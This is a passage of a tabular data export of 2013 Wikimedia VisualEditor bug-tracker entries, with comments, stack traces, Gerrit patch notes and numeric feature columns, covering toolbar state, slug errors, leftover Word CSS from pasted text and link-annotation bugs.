Init surface after toolbar is setup vs. before.

GERRIT_URL"
247324,VisualEditor: Indentation toolbar buttons should not be enabled by default,"Change 70936 had a related patch set uploaded by Robmoen:
Init surface after toolbar is setup vs. before.

https://gerrit.wikimedia.org/r/70936",,,1372375072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,1.0,"Change 70936 had a related patch set uploaded by Robmoen:
Init surface after toolbar is setup vs. before.

GERRIT_URL"
247317,VisualEditor: Indentation toolbar buttons should not be enabled by default,"From conversation earlier today:

It may be possible to hack the button to be disabled by default, but that would introduce the opposite bug where the indention tool would be disabled instead of enabled in a document that starts with a list, requiring the user to move out of the list and back in to be able to indent.

Basically we should make sure that our hooks that make the button enabled/disabled on node focus change also trigger when initially focussing the first node in the document (instead of only from the second node focus onwards).",,,1372143779,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-h7bfc7jy5zuiok7zj7zv,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,1.0,0.0,5.5,1.5,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,2.0,0.0,10.0,13.0,0.0,3.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,2.5,0.5,1.5,0.0,1.5,0.0,10.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,7.5,2.5,2.0,2.5,1.5,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.5,13.0,2.0,0.0,0.0,0.0,2.5,0.0,3.0,1.0,0.0,1.5,0.5,0.0,0.0,4.233228511530399,0.76659678546471,"From conversation earlier today:

It may be possible to hack the button to be disabled by default, but that would introduce the opposite bug where the indention tool would be disabled instead of enabled in a document that starts with a list, requiring the user to move out of the list and back in to be able to indent.

Basically we should make sure that our hooks that make the button enabled/disabled on node focus change also trigger when initially focussing the first node in the document (instead of only from the second node focus onwards)."
52132,VisualEditor: Doing anything in a slug after an internal node throws an error,"

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372109460,1372113370.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tbvrdwvxvbqqobem3szn,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.5,"

--------------------------
**Version**: unspecified
**Severity**: major"
246777,VisualEditor: Doing anything in a slug after an internal node throws an error,This should now be fixed.,,,1372113370,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,This should now be fixed.
246774,VisualEditor: Doing anything in a slug after an internal node throws an error,Related URL: https://gerrit.wikimedia.org/r/70333 (Gerrit Change I3818ebe9816e7d781233f087b15694bf7ba12965),,,1372112447,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3818ebe9816e7d781233f087b15694bf7ba12965)
246771,VisualEditor: Doing anything in a slug after an internal node throws an error,This is caused by CE placing a slug after internal nodes.  Fix in progress.,,,1372112372,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,24.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,0.9411764705882353,This is caused by CE placing a slug after internal nodes.  Fix in progress.
246768,VisualEditor: Doing anything in a slug after an internal node throws an error,"Stack error:

Uncaught Error: Offset could not be translated to a DOM element and offset: 73 ve.ce.Document.js:187
ve.ce.Document.getNodeAndOffset ve.ce.Document.js:187
ve.ce.Surface.showSelection ve.ce.Surface.js:1289
ve.ce.Surface.onChange ve.ce.Surface.js:739
oo.EventEmitter.emit oo.js:421
ve.dm.Surface.change ve.dm.Surface.js:402
ve.dm.SurfaceFragment.insertContent ve.dm.SurfaceFragment.js:581
ve.ui.MWReferenceDialog.onClose ve.ui.MWReferenceDialog.js:197
ve.ui.Window.close ve.ui.Window.js:332
(anonymous function) ve.ui.Dialog.js:118
proxy",,,1372109556,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-tbvrdwvxvbqqobem3szn,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.317460317460318,0.7142857142857143,"Stack error:

Uncaught Error: Offset could not be translated to a DOM element and offset: 73 ve.ce.Document.js:187
ve.ce.Document.getNodeAndOffset ve.ce.Document.js:187
ve.ce.Surface.showSelection ve.ce.Surface.js:1289
ve.ce.Surface.onChange ve.ce.Surface.js:739
oo.EventEmitter.emit oo.js:421
ve.dm.Surface.change ve.dm.Surface.js:402
ve.dm.SurfaceFragment.insertContent ve.dm.SurfaceFragment.js:581
ve.ui.MWReferenceDialog.onClose ve.ui.MWReferenceDialog.js:197
ve.ui.Window.close ve.ui.Window.js:332
(anonymous function) ve.ui.Dialog.js:118
proxy"
52128,VisualEditor: HTML comment not removed from user pasting (? from external source),"https://en.wikipedia.org/w/index.php?title=Richard_Ned_Lebow&diff=561410032&oldid=545013166

Perhaps unrelated to VisualEditor?

<!-- /* Font Definitions */@font-face	{font-family:""Courier New"";	panose-1:2 7 3 9 2 2 5 2 4 4;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536859905 -1073711037 9 0 511 0;}@font-face	{font-family:Times;	panose-1:2 0 5 0 0 0 0 0 0 0;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:3 0 0 0 1 0;}@font-face	{font-family:Wingdings;	panose-1:5 0 0 0 0 0 0 0 0 0;	mso-font-charset:2;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:0 268435456 0 0 -2147483648 0;}@font-face	{font-family:""ＭＳ 明朝"";	mso-font-charset:78;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536870145 1791491579 18 0 131231 0;}@font-face	{font-family:""Cambria Math"";	panose-1:2 4 5 3 5 4 6 3 2 4;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536870145 1107305727 0 0 415 0;} /* Style Definitions */p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-parent:"""";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}.MsoChpDefault	{mso-style-type:export-only;	mso-default-props:yes;	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}@page WordSection1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.WordSection1	{page:WordSection1;} /* List Definitions */@list l0	{mso-list-id:85738127;	mso-list-type:hybrid;	mso-list-template-ids:1894403420 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;}@list l0:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level2	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level3	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}@list l0:level4	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level5	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level6	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}@list l0:level7	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level8	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level9	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}ol	{margin-bottom:0in;}ul	{margin-bottom:0in;}-->

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372105380,1385505602.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-sdadbdxs63vkmq4vqjom,task_description,resolved,True,c1,2,False,False,False,-1,,0.0,0.0,0.0,0.0,0.0,9.38888888888889,0.0,0.0,0.0,0.0,1.8888888888888888,0.0,0.0,0.2222222222222222,0.0,0.0,0.0,1.6111111111111112,2.3333333333333335,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2222222222222222,0.0,0.0,0.0,2.0555555555555554,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.666666666666668,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,0.0,0.0,0.2777777777777778,0.0,0.0,0.05555555555555555,0.0,1.7222222222222223,0.3333333333333333,4.0,0.0,0.0,2.3333333333333335,7.055555555555555,0.05555555555555555,1.3888888888888888,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.2222222222222222,0.0,0.1111111111111111,3.153078403078403,0.3370439084724799,"URL

Perhaps unrelated to VisualEditor?

<!-- /* Font Definitions */@font-face	{font-family:""Courier New"";	panose-1:2 7 3 9 2 2 5 2 4 4;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536859905 -1073711037 9 0 511 0;}@font-face	{font-family:Times;	panose-1:2 0 5 0 0 0 0 0 0 0;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:3 0 0 0 1 0;}@font-face	{font-family:Wingdings;	panose-1:5 0 0 0 0 0 0 0 0 0;	mso-font-charset:2;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:0 268435456 0 0 -2147483648 0;}@font-face	{font-family:""ＭＳ 明朝"";	mso-font-charset:78;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536870145 1791491579 18 0 131231 0;}@font-face	{font-family:""Cambria Math"";	panose-1:2 4 5 3 5 4 6 3 2 4;	mso-font-charset:0;	mso-generic-font-family:auto;	mso-font-pitch:variable;	mso-font-signature:-536870145 1107305727 0 0 415 0;} /* Style Definitions */p.MsoNormal, li.MsoNormal, div.MsoNormal	{mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-parent:"""";	margin:0in;	margin-bottom:.0001pt;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraph, li.MsoListParagraph, div.MsoListParagraph	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpFirst, li.MsoListParagraphCxSpFirst, div.MsoListParagraphCxSpFirst	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpMiddle, li.MsoListParagraphCxSpMiddle, div.MsoListParagraphCxSpMiddle	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}p.MsoListParagraphCxSpLast, li.MsoListParagraphCxSpLast, div.MsoListParagraphCxSpLast	{mso-style-priority:34;	mso-style-unhide:no;	mso-style-qformat:yes;	mso-style-type:export-only;	margin-top:0in;	margin-right:0in;	margin-bottom:0in;	margin-left:.5in;	margin-bottom:.0001pt;	mso-add-space:auto;	mso-pagination:widow-orphan;	font-size:12.0pt;	font-family:""Times New Roman"";	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}.MsoChpDefault	{mso-style-type:export-only;	mso-default-props:yes;	mso-fareast-font-family:""ＭＳ 明朝"";	mso-fareast-theme-font:minor-fareast;	mso-bidi-font-family:""Times New Roman"";	mso-bidi-theme-font:minor-bidi;}@page WordSection1	{size:8.5in 11.0in;	margin:1.0in 1.25in 1.0in 1.25in;	mso-header-margin:.5in;	mso-footer-margin:.5in;	mso-paper-source:0;}div.WordSection1	{page:WordSection1;} /* List Definitions */@list l0	{mso-list-id:85738127;	mso-list-type:hybrid;	mso-list-template-ids:1894403420 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;}@list l0:level1	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level2	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level3	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}@list l0:level4	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level5	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level6	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}@list l0:level7	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Symbol;}@list l0:level8	{mso-level-number-format:bullet;	mso-level-text:o;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:""Courier New"";	mso-bidi-font-family:""Times New Roman"";}@list l0:level9	{mso-level-number-format:bullet;	mso-level-text:;	mso-level-tab-stop:none;	mso-level-number-position:left;	text-indent:-.25in;	font-family:Wingdings;}ol	{margin-bottom:0in;}ul	{margin-bottom:0in;}-->

--------------------------
**Version**: unspecified
**Severity**: normal"
246470,VisualEditor: HTML comment not removed from user pasting (? from external source),"Change 86664 merged by jenkins-bot:
Rich paste

https://gerrit.wikimedia.org/r/86664",,,1385500071,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.076923076923077,1.0,"Change 86664 merged by jenkins-bot:
Rich paste

GERRIT_URL"
246463,VisualEditor: HTML comment not removed from user pasting (? from external source),Rich paste will strip all metadata and so should solve this issue.,,,1381157634,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,3,True,,,14,,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.230769230769231,1.0,Rich paste will strip all metadata and so should solve this issue.
246459,VisualEditor: HTML comment not removed from user pasting (? from external source),"Change 86664 had a related patch set uploaded by Esanders:
Rich paste

https://gerrit.wikimedia.org/r/86664",,,1381157515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.4375,1.0,"Change 86664 had a related patch set uploaded by Esanders:
Rich paste

GERRIT_URL"
246452,VisualEditor: HTML comment not removed from user pasting (? from external source),"Bizarre indeed; presumably this is from a copy-and-paste and the ""give me only the plain text"" request to the browser is being ignored?",,,1372112566,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sdadbdxs63vkmq4vqjom,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,3.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.6451612903225805,0.8064516129032258,"Bizarre indeed; presumably this is from a copy-and-paste and the ""give me only the plain text"" request to the browser is being ignored?"
52127,"VisualEditor: Applying link annotation to a selection containing link and image kills the image, inserts a <nowiki /> for the link's text","* Go here http://en.wikipedia.org/w/index.php?title=User:ESanders_(WMF)/Sandbox&oldid=561403721&veaction=edit
* Select from the end of the image to inside the link
* Observe you now have a link inspector positioned over the image.
Bonus:
* Use the inspector to edit the link
* Review your changes, the image has been killed, and the link as gone a bit crazy

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1372102800,1377195359.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-isqwpxpplzad6mrvzuhz,task_description,resolved,True,c1,2,True,False,True,-1,,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,11.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,0.5555555555555556,"* Go here URL
* Select from the end of the image to inside the link
* Observe you now have a link inspector positioned over the image.
Bonus:
* Use the inspector to edit the link
* Review your changes, the image has been killed, and the link as gone a bit crazy

--------------------------
**Version**: unspecified
**Severity**: normal"
